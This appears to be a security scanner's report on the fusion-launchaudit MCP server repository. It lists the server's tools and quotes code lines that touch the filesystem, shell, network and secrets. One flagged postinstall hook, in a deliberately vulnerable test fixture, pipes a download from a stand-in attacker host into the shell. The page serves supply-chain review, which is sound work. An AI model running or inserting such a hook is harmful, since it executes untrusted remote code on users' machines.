MCP Observatory
8m ago Tracked 59,479 Last 8m ago 24h 2,575
github JavaScript analyzed 9adba69 deep scan · partial (34/502 files)

Fusion-Data-Company/fusion-launchaudit

github

80/20 Launch Audit: a senior-dev launch audit that breaks into your app and proves what is broken. Open source (MIT); hosted audits from $79.

maintainer
Fusion-Data-Company
licence
MIT
first seen
2026-06-18
last seen
2026-09-16
releases · 30d
0
short id

Drift inferred · capture-to-capture

No drift recorded — single capability capture; advisories appear once its surface changes.

capabilities 10 tools
transport stdio · http counts 10 tools · 0 res · 0 prompts permission surface via code analysis

tools

  • launchaudit_create_campaign
  • launchaudit_get_campaign
  • launchaudit_get_test_card_contract
  • launchaudit_list_campaigns
  • launchaudit_probe_runtime
  • launchaudit_read_report
  • launchaudit_register_artifact
  • launchaudit_run_audit
  • launchaudit_scan_repo
  • launchaudit_sync_campaign
skills & danger signals github-tarball
prompt-surface shipped agent-instruction files + hidden-content / dangerous-code findings — quoted from the analyzed source

analyzed commit 9adba69 · analyzer v33 · 21h ago

skills & prompt files 4

danger signals15

code evidence vv1.1.0 · github-tarball
evidence-backed findings quoted directly from the published source artifact — not inferred

code files: 268

filesystem 68

  • fs Fusion-Data-Company-fusion-launchaudit-9adba69/api/campaign.js :5944 var fs = require("fs"), nodePath = require("path");
  • fs Fusion-Data-Company-fusion-launchaudit-9adba69/api/campaigns.js :5944 var fs = require("fs"), nodePath = require("path");
  • fs Fusion-Data-Company-fusion-launchaudit-9adba69/api/contact.js :5944 var fs = require("fs"), nodePath = require("path");
  • fs Fusion-Data-Company-fusion-launchaudit-9adba69/api/crm-reconcile.js :5944 var fs = require("fs"), nodePath = require("path");
  • fs (weak) Fusion-Data-Company-fusion-launchaudit-9adba69/api/demo.js :5977 var fs = require("fs"), nodePath = require("path");
  • fs Fusion-Data-Company-fusion-launchaudit-9adba69/api/grade-order.js :5977 var fs = require("fs"), nodePath = require("path");
  • fs Fusion-Data-Company-fusion-launchaudit-9adba69/api/grade.js :24671 var fs = require("fs"), nodePath = require("path");
  • fs Fusion-Data-Company-fusion-launchaudit-9adba69/api/monitor.js :5977 var fs = require("fs"), nodePath = require("path");
  • fs Fusion-Data-Company-fusion-launchaudit-9adba69/api/order-report.js :5977 var fs = require("fs"), nodePath = require("path");
  • fs Fusion-Data-Company-fusion-launchaudit-9adba69/api/order-reporting.js :5944 var fs = require("fs"), nodePath = require("path");
  • fs Fusion-Data-Company-fusion-launchaudit-9adba69/api/order-status.js :5977 var fs = require("fs"), nodePath = require("path");
  • fs Fusion-Data-Company-fusion-launchaudit-9adba69/api/order-url.js :5977 var fs = require("fs"), nodePath = require("path");
show 28 more
  • fs Fusion-Data-Company-fusion-launchaudit-9adba69/api/rescan-cron.js :5977 var fs = require("fs"), nodePath = require("path");
  • fs Fusion-Data-Company-fusion-launchaudit-9adba69/api/runner/sync.js :5944 var fs = require("fs"), nodePath = require("path");
  • fs Fusion-Data-Company-fusion-launchaudit-9adba69/api/storage/register-artifact.js :5944 var fs = require("fs"), nodePath = require("path");
  • fs Fusion-Data-Company-fusion-launchaudit-9adba69/api/stripe-webhook.js :24671 var fs = require("fs"), nodePath = require("path");
  • fs Fusion-Data-Company-fusion-launchaudit-9adba69/api/waitlist.js :5944 var fs = require("fs"), nodePath = require("path");
  • fs (weak) Fusion-Data-Company-fusion-launchaudit-9adba69/docs/proof/2026-09-14/hands-on-service/isolated-rentdesk.cjs :4 const fs=require('node:fs'),path=require('node:path'),http=require('node:http');
  • fs Fusion-Data-Company-fusion-launchaudit-9adba69/runner/audit.ts :19 import fsp from "node:fs/promises";
  • fs Fusion-Data-Company-fusion-launchaudit-9adba69/runner/blob-store.ts :22 import fs from "node:fs/promises";
  • fs Fusion-Data-Company-fusion-launchaudit-9adba69/runner/capture-auth.ts :7 import fs from "node:fs/promises";
  • fs (weak) Fusion-Data-Company-fusion-launchaudit-9adba69/runner/diff.test.ts :3 import fs from "node:fs";
  • fs Fusion-Data-Company-fusion-launchaudit-9adba69/runner/diff.ts :10 import fs from "node:fs";
  • fs Fusion-Data-Company-fusion-launchaudit-9adba69/runner/execute-core.ts :7 import fs from "node:fs/promises";
  • fs Fusion-Data-Company-fusion-launchaudit-9adba69/runner/executor.ts :14 import fs from "node:fs/promises";
  • fs Fusion-Data-Company-fusion-launchaudit-9adba69/runner/init.ts :11 import fs from "node:fs";
  • fs Fusion-Data-Company-fusion-launchaudit-9adba69/runner/mcp-server.ts :272 const files = (await fs.readdir(dir)).filter((f) => f.endsWith(".json")).sort();
  • fs (weak) Fusion-Data-Company-fusion-launchaudit-9adba69/runner/policy.test.ts :3 import fs from "node:fs";
  • fs Fusion-Data-Company-fusion-launchaudit-9adba69/runner/policy.ts :11 import fs from "node:fs";
  • fs Fusion-Data-Company-fusion-launchaudit-9adba69/runner/render-dashboard.ts :10 import fs from "node:fs/promises";
  • fs Fusion-Data-Company-fusion-launchaudit-9adba69/runner/render-report.ts :6 import fs from "node:fs/promises";
  • fs (weak) Fusion-Data-Company-fusion-launchaudit-9adba69/runner/repo-scanner.test.ts :4 import fs from "node:fs/promises";
  • fs Fusion-Data-Company-fusion-launchaudit-9adba69/runner/repo-scanner.ts :1 import fs from "node:fs/promises";
  • fs (weak) Fusion-Data-Company-fusion-launchaudit-9adba69/scripts/base-proof.mjs :3 import fs from "node:fs/promises";
  • fs (weak) Fusion-Data-Company-fusion-launchaudit-9adba69/scripts/calibrate.ts :13 import fsp from "node:fs/promises";
  • fs (weak) Fusion-Data-Company-fusion-launchaudit-9adba69/scripts/elite-proof.ts :17 import fs from "node:fs";
  • fs (weak) Fusion-Data-Company-fusion-launchaudit-9adba69/scripts/hands-on-work.ts :5 import { readFile } from 'node:fs/promises';
  • fs (weak) Fusion-Data-Company-fusion-launchaudit-9adba69/scripts/mutation-test.ts :14 import fs from "node:fs";
  • fs (weak) Fusion-Data-Company-fusion-launchaudit-9adba69/scripts/rehearse-checkout.ts :34 import fs from "node:fs/promises";
  • fs (weak) Fusion-Data-Company-fusion-launchaudit-9adba69/scripts/seed-demo.ts :12 import fs from "node:fs/promises";

28 more not shown — this panel samples each group; the count above is the real total.

shell / exec 26

  • shell Fusion-Data-Company-fusion-launchaudit-9adba69/api/campaign.js :9148 async exec(s5, e) {
  • shell Fusion-Data-Company-fusion-launchaudit-9adba69/api/campaigns.js :9148 async exec(s5, e) {
  • shell Fusion-Data-Company-fusion-launchaudit-9adba69/api/contact.js :9148 async exec(s5, e) {
  • shell Fusion-Data-Company-fusion-launchaudit-9adba69/api/crm-reconcile.js :9148 async exec(s5, e) {
  • shell (weak) Fusion-Data-Company-fusion-launchaudit-9adba69/api/demo.js :9181 async exec(s5, e) {
  • shell Fusion-Data-Company-fusion-launchaudit-9adba69/api/grade-order.js :9181 async exec(s5, e) {
  • shell Fusion-Data-Company-fusion-launchaudit-9adba69/api/monitor.js :9181 async exec(s5, e) {
  • shell Fusion-Data-Company-fusion-launchaudit-9adba69/api/order-report.js :9181 async exec(s5, e) {
  • shell Fusion-Data-Company-fusion-launchaudit-9adba69/api/order-reporting.js :9148 async exec(s5, e) {
  • shell Fusion-Data-Company-fusion-launchaudit-9adba69/api/order-status.js :9181 async exec(s5, e) {
  • shell Fusion-Data-Company-fusion-launchaudit-9adba69/api/order-url.js :9181 async exec(s5, e) {
  • shell Fusion-Data-Company-fusion-launchaudit-9adba69/api/rescan-cron.js :9181 async exec(s5, e) {
show 14 more
  • shell Fusion-Data-Company-fusion-launchaudit-9adba69/api/runner/sync.js :9148 async exec(s5, e) {
  • shell Fusion-Data-Company-fusion-launchaudit-9adba69/api/storage/register-artifact.js :9148 async exec(s5, e) {
  • shell Fusion-Data-Company-fusion-launchaudit-9adba69/api/waitlist.js :9148 async exec(s5, e) {
  • shell (weak) Fusion-Data-Company-fusion-launchaudit-9adba69/docs/proof/2026-09-14/hands-on-service/isolated-rentdesk.cjs :6 const {createHash}=require('node:crypto'),{execFileSync}=require('node:child_process');
  • shell Fusion-Data-Company-fusion-launchaudit-9adba69/runner/audit.ts :36 import { spawn } from "node:child_process";
  • shell Fusion-Data-Company-fusion-launchaudit-9adba69/runner/browser.ts :17 import { spawnSync } from "node:child_process";
  • shell Fusion-Data-Company-fusion-launchaudit-9adba69/runner/mcp-server.ts :234 const { spawn } = await import("node:child_process");
  • shell (weak) Fusion-Data-Company-fusion-launchaudit-9adba69/scripts/calibrate.ts :11 import { spawn } from "node:child_process";
  • shell (weak) Fusion-Data-Company-fusion-launchaudit-9adba69/scripts/elite-proof.ts :13 import { spawn } from "node:child_process";
  • shell (weak) Fusion-Data-Company-fusion-launchaudit-9adba69/scripts/mutation-test.ts :12 import { spawn } from "node:child_process";
  • shell (weak) Fusion-Data-Company-fusion-launchaudit-9adba69/scripts/test-fixtures.ts :15 import { spawn } from "node:child_process";
  • shell Fusion-Data-Company-fusion-launchaudit-9adba69/server/dev-server.ts :20 import { spawn as spawnProc } from "node:child_process";
  • shell (weak) Fusion-Data-Company-fusion-launchaudit-9adba69/src/lib/audit-delivery-integration.test.ts :4 import {execFileSync} from 'node:child_process';
  • shell (weak) Fusion-Data-Company-fusion-launchaudit-9adba69/src/lib/generators/code-smells.test.ts :16 "execSync(`ls ${dir}`);",

network 51

  • net Fusion-Data-Company-fusion-launchaudit-9adba69/api/campaign.js :2019 fetch(f5, { headers: { Upgrade: "websocket" } }).then(
  • net Fusion-Data-Company-fusion-launchaudit-9adba69/api/campaigns.js :2019 fetch(f5, { headers: { Upgrade: "websocket" } }).then(
  • net Fusion-Data-Company-fusion-launchaudit-9adba69/api/checkout.js :18735 import net2 from "node:net";
  • net Fusion-Data-Company-fusion-launchaudit-9adba69/api/contact.js :2019 fetch(f5, { headers: { Upgrade: "websocket" } }).then(
  • net Fusion-Data-Company-fusion-launchaudit-9adba69/api/crm-reconcile.js :2019 fetch(f5, { headers: { Upgrade: "websocket" } }).then(
  • net (weak) Fusion-Data-Company-fusion-launchaudit-9adba69/api/demo.js :2052 fetch(f5, { headers: { Upgrade: "websocket" } }).then(
  • net Fusion-Data-Company-fusion-launchaudit-9adba69/api/grade-order.js :2052 fetch(f5, { headers: { Upgrade: "websocket" } }).then(
  • net Fusion-Data-Company-fusion-launchaudit-9adba69/api/grade.js :20746 fetch(f5, { headers: { Upgrade: "websocket" } }).then(
  • net Fusion-Data-Company-fusion-launchaudit-9adba69/api/monitor.js :2052 fetch(f5, { headers: { Upgrade: "websocket" } }).then(
  • net Fusion-Data-Company-fusion-launchaudit-9adba69/api/order-report.js :2052 fetch(f5, { headers: { Upgrade: "websocket" } }).then(
  • net Fusion-Data-Company-fusion-launchaudit-9adba69/api/order-reporting.js :2019 fetch(f5, { headers: { Upgrade: "websocket" } }).then(
  • net Fusion-Data-Company-fusion-launchaudit-9adba69/api/order-status.js :2052 fetch(f5, { headers: { Upgrade: "websocket" } }).then(
show 28 more
  • net Fusion-Data-Company-fusion-launchaudit-9adba69/api/order-url.js :2052 fetch(f5, { headers: { Upgrade: "websocket" } }).then(
  • net Fusion-Data-Company-fusion-launchaudit-9adba69/api/rescan-cron.js :2052 fetch(f5, { headers: { Upgrade: "websocket" } }).then(
  • net Fusion-Data-Company-fusion-launchaudit-9adba69/api/runner/sync.js :2019 fetch(f5, { headers: { Upgrade: "websocket" } }).then(
  • net Fusion-Data-Company-fusion-launchaudit-9adba69/api/storage/register-artifact.js :2019 fetch(f5, { headers: { Upgrade: "websocket" } }).then(
  • net Fusion-Data-Company-fusion-launchaudit-9adba69/api/stripe-webhook.js :20746 fetch(f5, { headers: { Upgrade: "websocket" } }).then(
  • net Fusion-Data-Company-fusion-launchaudit-9adba69/api/waitlist.js :2019 fetch(f5, { headers: { Upgrade: "websocket" } }).then(
  • net (weak) Fusion-Data-Company-fusion-launchaudit-9adba69/docs/proof/2026-09-14/hands-on-native/db-proxy.cjs :2 const {createRequire}=require('node:module'),net=require('node:net');
  • net (weak) Fusion-Data-Company-fusion-launchaudit-9adba69/docs/proof/2026-09-14/hands-on-service/isolated-rentdesk.cjs :4 const fs=require('node:fs'),path=require('node:path'),http=require('node:http');
  • net (weak) Fusion-Data-Company-fusion-launchaudit-9adba69/fixtures/buggy-shop/server.js :20 const http = require('http');
  • net (weak) Fusion-Data-Company-fusion-launchaudit-9adba69/fixtures/shop-fixed/server.js :20 const http = require('http');
  • net (weak) Fusion-Data-Company-fusion-launchaudit-9adba69/fixtures/vuln-saas/server.js :12 const http = require("http");
  • net Fusion-Data-Company-fusion-launchaudit-9adba69/public/assets/app.js :666 let response = await fetch(`/api/campaign${qs}`, { headers: operatorHeaders() });
  • net (weak) Fusion-Data-Company-fusion-launchaudit-9adba69/public/assets/demo.js :19 fetch('/api/demo',{headers:{'accept':'application/json'}}).then(function(r){return r.json();}).then(function(d){
  • net Fusion-Data-Company-fusion-launchaudit-9adba69/public/assets/landing.js :237 var r=await fetch('/api/waitlist',{method:'POST',headers:{'content-type':'application/json'},body:JSON.stringify({email:email,scan_id:current.scanId,monitor:mon})});
  • net Fusion-Data-Company-fusion-launchaudit-9adba69/public/assets/monitor.js :155 try{var r=await fetch('/api/monitor',{method:'POST',headers:{'content-type':'application/json'},body:JSON.stringify(body)});var res=await r.json();
  • net Fusion-Data-Company-fusion-launchaudit-9adba69/public/assets/order-success.js :96 var r=await fetch('/api/order-url',{method:'POST',headers:{'content-type':'application/json'},body:JSON.stringify({session_id:sid,url:url,authorized:true})});
  • net Fusion-Data-Company-fusion-launchaudit-9adba69/public/assets/report.js :5 const response = await fetch(`/api/campaign${campaignId ? `?id=${encodeURIComponent(campaignId)}` : ""}`);
  • net Fusion-Data-Company-fusion-launchaudit-9adba69/runner/audit.ts :449 const created = await fetch(`${PLATFORM_URL}/api/campaigns`, {
  • net Fusion-Data-Company-fusion-launchaudit-9adba69/runner/content-audit.ts :21 const r = await fetch(url, { redirect: "follow", headers: { "user-agent": "LaunchAudit-Content/1.0" } });
  • net Fusion-Data-Company-fusion-launchaudit-9adba69/runner/elevenlabs-audit.ts :21 const r = await fetch(`https://api.elevenlabs.io/v1/convai/agents/${agentId}`, {
  • net Fusion-Data-Company-fusion-launchaudit-9adba69/runner/execute-core.ts :82 try { const r = await fetch(origin + "/", { redirect: "manual" }); body = await r.text(); } catch { body = ""; }
  • net Fusion-Data-Company-fusion-launchaudit-9adba69/runner/executor.ts :225 const response = await fetch(target);
  • net Fusion-Data-Company-fusion-launchaudit-9adba69/runner/local-runner.ts :89 const response = await fetch(syncUrl, {
  • net Fusion-Data-Company-fusion-launchaudit-9adba69/runner/mcp-server.ts :68 const response = await fetch(`${API_URL}/api/campaign`);
  • net Fusion-Data-Company-fusion-launchaudit-9adba69/runner/repo-scanner.ts :896 const response = await fetch(appUrl, { method: "GET", redirect: "follow", signal: controller.signal });
  • net Fusion-Data-Company-fusion-launchaudit-9adba69/runner/seo-audit.ts :19 const r = await fetch(url, { redirect: "follow", headers: { "user-agent": "LaunchAudit-SEO/1.0" } });
  • net (weak) Fusion-Data-Company-fusion-launchaudit-9adba69/scripts/calibrate.ts :12 import http from "node:http";
  • net (weak) Fusion-Data-Company-fusion-launchaudit-9adba69/scripts/elite-proof.ts :14 import http from "node:http";

11 more not shown — this panel samples each group; the count above is the real total.

secrets 33

  • secrets Fusion-Data-Company-fusion-launchaudit-9adba69/api/campaigns.js :14823 const configured = (process.env.RUNNER_SYNC_SECRET ?? "").trim();
  • secrets Fusion-Data-Company-fusion-launchaudit-9adba69/api/checkout.js :18948 const secret = process.env.STRIPE_SECRET_KEY;
  • secrets Fusion-Data-Company-fusion-launchaudit-9adba69/api/contact.js :14144 const key = process.env.RONIN_API_KEY?.trim();
  • secrets Fusion-Data-Company-fusion-launchaudit-9adba69/api/crm-reconcile.js :14179 const key = process.env.RONIN_API_KEY?.trim();
  • secrets Fusion-Data-Company-fusion-launchaudit-9adba69/api/order-reporting.js :14176 const secret = process.env.CRON_SECRET;
  • secrets Fusion-Data-Company-fusion-launchaudit-9adba69/api/storage/register-artifact.js :14818 const configured = (process.env.RUNNER_SYNC_SECRET ?? "").trim();
  • secrets Fusion-Data-Company-fusion-launchaudit-9adba69/api/waitlist.js :14144 const key = process.env.RONIN_API_KEY?.trim();
  • secrets (weak) Fusion-Data-Company-fusion-launchaudit-9adba69/docs/proof/2026-09-14/hands-on-service/isolated-rentdesk.cjs :22 delete process.env.DATABASE_URL;delete process.env.SMTP_URL;process.env.NODE_ENV='development';process.env.SESSION_SECRET='isolated-hands-on-fixture-secret-not-production';
  • secrets Fusion-Data-Company-fusion-launchaudit-9adba69/runner/audit.ts :439 const attestation = buildAttestation(reportData, launchGate(reportData), process.env.LAUNCHAUDIT_ATTEST_KEY);
  • secrets Fusion-Data-Company-fusion-launchaudit-9adba69/runner/blob-store.ts :58 return Boolean(process.env.BLOB_READ_WRITE_TOKEN);
  • secrets (weak) Fusion-Data-Company-fusion-launchaudit-9adba69/scripts/rehearse-checkout.ts :97 const whsec = process.env.STRIPE_WEBHOOK_SECRET;
  • secrets (weak) Fusion-Data-Company-fusion-launchaudit-9adba69/scripts/seed-demo.ts :48 if (process.env.BLOB_READ_WRITE_TOKEN) {
show 21 more
  • secrets Fusion-Data-Company-fusion-launchaudit-9adba69/server/api-src/checkout.ts :25 const secret = process.env.STRIPE_SECRET_KEY;
  • secrets Fusion-Data-Company-fusion-launchaudit-9adba69/server/api-src/crm-reconcile.ts :5 const expected=process.env.CRON_SECRET?.trim();
  • secrets (weak) Fusion-Data-Company-fusion-launchaudit-9adba69/server/api-src/demo.ts :49 const secrets = [process.env.RUNNER_SYNC_SECRET, process.env.CRON_SECRET].filter(Boolean);
  • secrets Fusion-Data-Company-fusion-launchaudit-9adba69/server/api-src/grade-order.ts :15 const secrets = [process.env.CRON_SECRET, process.env.RUNNER_SYNC_SECRET].filter(Boolean);
  • secrets Fusion-Data-Company-fusion-launchaudit-9adba69/server/api-src/rescan-cron.ts :21 const secret = process.env.CRON_SECRET;
  • secrets Fusion-Data-Company-fusion-launchaudit-9adba69/server/api-src/runner-auth.ts :61 const configured = (process.env.RUNNER_SYNC_SECRET ?? "").trim();
  • secrets Fusion-Data-Company-fusion-launchaudit-9adba69/server/api-src/storage/register-artifact.ts :85 mode: process.env.BLOB_READ_WRITE_TOKEN ? "vercel_blob_ready" : "contract_only_missing_blob_token",
  • secrets Fusion-Data-Company-fusion-launchaudit-9adba69/server/api-src/stripe-webhook.ts :62 const key = process.env.STRIPE_SECRET_KEY;
  • secrets Fusion-Data-Company-fusion-launchaudit-9adba69/server/dev-server.ts :612 mode: process.env.BLOB_READ_WRITE_TOKEN ? "vercel_blob_ready" : "contract_only_missing_blob_token",
  • secrets Fusion-Data-Company-fusion-launchaudit-9adba69/src/lib/audit-delivery.ts :93 const token = process.env.BLOB_READ_WRITE_TOKEN;
  • secrets Fusion-Data-Company-fusion-launchaudit-9adba69/src/lib/audit-payment-proof.ts :13 export function keyExpectsLive(secretKey: string | undefined = process.env.STRIPE_SECRET_KEY): boolean {
  • secrets (weak) Fusion-Data-Company-fusion-launchaudit-9adba69/src/lib/completeness/scan.test.ts :106 const key = process.env.SENDGRID_API_KEY;
  • secrets (weak) Fusion-Data-Company-fusion-launchaudit-9adba69/src/lib/crm-delivery.test.ts :5 const old=globalThis.fetch;const oldKey=process.env.RONIN_API_KEY;process.env.RONIN_API_KEY='test';
  • secrets Fusion-Data-Company-fusion-launchaudit-9adba69/src/lib/crm-delivery.ts :5 const key = process.env.RONIN_API_KEY?.trim();
  • secrets Fusion-Data-Company-fusion-launchaudit-9adba69/src/lib/deep-grade.ts :105 const key = process.env.PAGESPEED_API_KEY;
  • secrets (weak) Fusion-Data-Company-fusion-launchaudit-9adba69/src/lib/deep-tier-fulfillment.test.ts :15 process.env.STRIPE_SECRET_KEY='sk_test_isolated';
  • secrets (weak) Fusion-Data-Company-fusion-launchaudit-9adba69/src/lib/grade-order-auth.test.ts :17 process.env.CRON_SECRET='cron-test-only';process.env.RUNNER_SYNC_SECRET='runner-test-only';
  • secrets Fusion-Data-Company-fusion-launchaudit-9adba69/src/lib/order-reporting.ts :3 export function orderCronAuthorized(header:string|undefined){const secret=process.env.CRON_SECRET;if(!secret||!header)return false;return timingSafeEqual(createHash('sha256').update(header).digest(),c
  • secrets (weak) Fusion-Data-Company-fusion-launchaudit-9adba69/src/lib/paid-audits-claims.test.ts :33 const previousSecret = process.env.STRIPE_SECRET_KEY;
  • secrets Fusion-Data-Company-fusion-launchaudit-9adba69/src/lib/paid-audits.ts :133 const secret = process.env.STRIPE_SECRET_KEY;
  • secrets (weak) Fusion-Data-Company-fusion-launchaudit-9adba69/src/lib/stripe-webhook.test.ts :50 process.env.STRIPE_WEBHOOK_SECRET = "whsec_webhook_test";

tool registrations 10

  • launchaudit_scan_repo Fusion-Data-Company-fusion-launchaudit-9adba69/runner/mcp-server.ts :38
  • launchaudit_probe_runtime Fusion-Data-Company-fusion-launchaudit-9adba69/runner/mcp-server.ts :55
  • launchaudit_get_campaign Fusion-Data-Company-fusion-launchaudit-9adba69/runner/mcp-server.ts :62
  • launchaudit_get_test_card_contract Fusion-Data-Company-fusion-launchaudit-9adba69/runner/mcp-server.ts :89
  • launchaudit_sync_campaign Fusion-Data-Company-fusion-launchaudit-9adba69/runner/mcp-server.ts :116
  • launchaudit_register_artifact Fusion-Data-Company-fusion-launchaudit-9adba69/runner/mcp-server.ts :167
  • launchaudit_list_campaigns Fusion-Data-Company-fusion-launchaudit-9adba69/runner/mcp-server.ts :192
  • launchaudit_create_campaign Fusion-Data-Company-fusion-launchaudit-9adba69/runner/mcp-server.ts :204
  • launchaudit_run_audit Fusion-Data-Company-fusion-launchaudit-9adba69/runner/mcp-server.ts :224
  • launchaudit_read_report Fusion-Data-Company-fusion-launchaudit-9adba69/runner/mcp-server.ts :263

install hooks 1

  • postinstall (suspicious) Fusion-Data-Company-fusion-launchaudit-9adba69/fixtures/vuln-saas/package.json :10 curl -s http://evil.example.tld/x | sh

declared dependencies 9

  • @modelcontextprotocol/sdk@^1.29.0
  • @neondatabase/serverless@^1.1.0
  • undici@^6.28.1
  • @vercel/blob@^2.4.0
  • axe-core@^4.12.1
  • zod@^4.4.3
  • @electric-sql/pglite@^0.5.1
  • esbuild@^0.28.0
  • playwright@^1.61.0

cursor-plugin 1

  • opaque (low) Fusion-Data-Company-fusion-launchaudit-9adba69/.cursor/rules/launchaudit.md bundled .cursor/ plugin descriptor (Fusion-Data-Company-fusion-launchaudit-9adba69/.cursor/rules/launchaudit.md) — presence-detected; review the descriptor

obfuscation 2

  • dynamic require()/import() Fusion-Data-Company-fusion-launchaudit-9adba69/scripts/build-api.ts :40 await import(new URL(`../${outfile}`, import.meta.url).href);
  • dynamic require()/import() Fusion-Data-Company-fusion-launchaudit-9adba69/server/dev-server.ts :341 const mod = (await import(`./api-src/${name}.ts`)) as { default: (req: unknown, res: unknown) => Promise<void> | void; config?: { api?: { bodyParser?: boolean } } };

perm:untrusted 19

  • untrusted Fusion-Data-Company-fusion-launchaudit-9adba69/api/campaign.js :2019 fetch(f5, { headers: { Upgrade: "websocket" } }).then(
  • untrusted Fusion-Data-Company-fusion-launchaudit-9adba69/api/campaigns.js :2019 fetch(f5, { headers: { Upgrade: "websocket" } }).then(
  • untrusted Fusion-Data-Company-fusion-launchaudit-9adba69/api/contact.js :2019 fetch(f5, { headers: { Upgrade: "websocket" } }).then(
  • untrusted Fusion-Data-Company-fusion-launchaudit-9adba69/api/crm-reconcile.js :2019 fetch(f5, { headers: { Upgrade: "websocket" } }).then(
  • untrusted (weak) Fusion-Data-Company-fusion-launchaudit-9adba69/api/demo.js :2052 fetch(f5, { headers: { Upgrade: "websocket" } }).then(
  • untrusted Fusion-Data-Company-fusion-launchaudit-9adba69/api/grade-order.js :2052 fetch(f5, { headers: { Upgrade: "websocket" } }).then(
  • untrusted Fusion-Data-Company-fusion-launchaudit-9adba69/api/grade.js :20746 fetch(f5, { headers: { Upgrade: "websocket" } }).then(
  • untrusted Fusion-Data-Company-fusion-launchaudit-9adba69/api/monitor.js :2052 fetch(f5, { headers: { Upgrade: "websocket" } }).then(
  • untrusted Fusion-Data-Company-fusion-launchaudit-9adba69/api/order-report.js :2052 fetch(f5, { headers: { Upgrade: "websocket" } }).then(
  • untrusted Fusion-Data-Company-fusion-launchaudit-9adba69/api/order-reporting.js :2019 fetch(f5, { headers: { Upgrade: "websocket" } }).then(
  • untrusted Fusion-Data-Company-fusion-launchaudit-9adba69/api/order-status.js :2052 fetch(f5, { headers: { Upgrade: "websocket" } }).then(
  • untrusted Fusion-Data-Company-fusion-launchaudit-9adba69/api/order-url.js :2052 fetch(f5, { headers: { Upgrade: "websocket" } }).then(
show 7 more
  • untrusted Fusion-Data-Company-fusion-launchaudit-9adba69/api/rescan-cron.js :2052 fetch(f5, { headers: { Upgrade: "websocket" } }).then(
  • untrusted Fusion-Data-Company-fusion-launchaudit-9adba69/api/runner/sync.js :2019 fetch(f5, { headers: { Upgrade: "websocket" } }).then(
  • untrusted Fusion-Data-Company-fusion-launchaudit-9adba69/api/storage/register-artifact.js :2019 fetch(f5, { headers: { Upgrade: "websocket" } }).then(
  • untrusted Fusion-Data-Company-fusion-launchaudit-9adba69/api/stripe-webhook.js :20746 fetch(f5, { headers: { Upgrade: "websocket" } }).then(
  • untrusted Fusion-Data-Company-fusion-launchaudit-9adba69/api/waitlist.js :2019 fetch(f5, { headers: { Upgrade: "websocket" } }).then(
  • untrusted Fusion-Data-Company-fusion-launchaudit-9adba69/runner/execute-core.ts :450 const fire = () => fetch(target, { method, headers, body, redirect: "manual" }).then((r) => r.status).catch(() => 0);
  • untrusted (weak) Fusion-Data-Company-fusion-launchaudit-9adba69/scripts/rehearse-checkout.ts :137 const before = await (await fetch(`${base}/api/order-status?session_id=${encodeURIComponent(sessionId)}`)).json() as Record<string, unknown>;